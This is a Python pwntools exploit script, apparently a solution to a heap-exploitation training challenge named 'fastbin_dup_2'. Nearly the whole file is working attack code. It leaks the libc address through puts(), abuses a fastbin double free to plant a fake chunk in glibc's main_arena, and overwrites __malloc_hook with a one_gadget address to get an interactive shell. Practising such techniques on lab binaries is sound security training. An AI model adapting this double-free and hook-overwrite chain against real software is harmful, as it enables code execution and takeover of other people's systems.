#!/usr/bin/python3 from pwn import * elf = context.binary = ELF("fastbin_dup_2") libc = elf.libc context.terminal = ['kitty', 'bash', '-c'] gs = ''' continue ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path) # Index of allocated chunks. index = 0 # Select the "malloc" option; send size & data. # Returns chunk index. def malloc(size, data): global index io.send("1") io.sendafter("size: ", f"{size}") io.sendafter("data: ", data) io.recvuntil("> ") index += 1 return index - 1 # Select the "free" option; send index. def free(index): io.send("2") io.sendafter("index: ", f"{index}") io.recvuntil("> ") io = start() # This binary leaks the address of puts(), use it to resolve the libc load address. io.recvuntil("puts() @ ") libc.address = int(io.recvline(), 16) - libc.sym.puts io.timeout = 0.1 # ============================================================================= #13 chunks chunk1 = malloc(24, 'abcd') chunk2 = malloc(24, 'abcc') free(chunk1) free(chunk2) free(chunk1) #malloc(24, p64(libc.sym.main_arena + 96)) #this sets up a fake size field in the fastbins malloc(24, p64(0x80)) malloc(24, 'asdf') malloc(24, 'asdf') chunk_b1 = malloc(119, 'asdf') chunk_b2 = malloc(119, 'asdf') free(chunk_b1) free(chunk_b2) free(chunk_b1) fake_chunk_loc = libc.sym.main_arena + 8 # begining of fastbin array malloc(119, p64(fake_chunk_loc)) malloc(119, 'asdf') malloc(119, 'sdfg') #8 * 9 payload_loc = libc.sym.__malloc_hook - 35 #definetly the right thing malloc(119, p64(0)*9 + p64(payload_loc)) #we now have things in place and shit onegadget = libc.address + 0xe1fa1 malloc(72, p64(0)*(35) + p64(onegadget)) print("onegadget: {}".format(hex(onegadget))) print("top chunk addr: {}".format(hex(payload_loc))) # ============================================================================= io.interactive()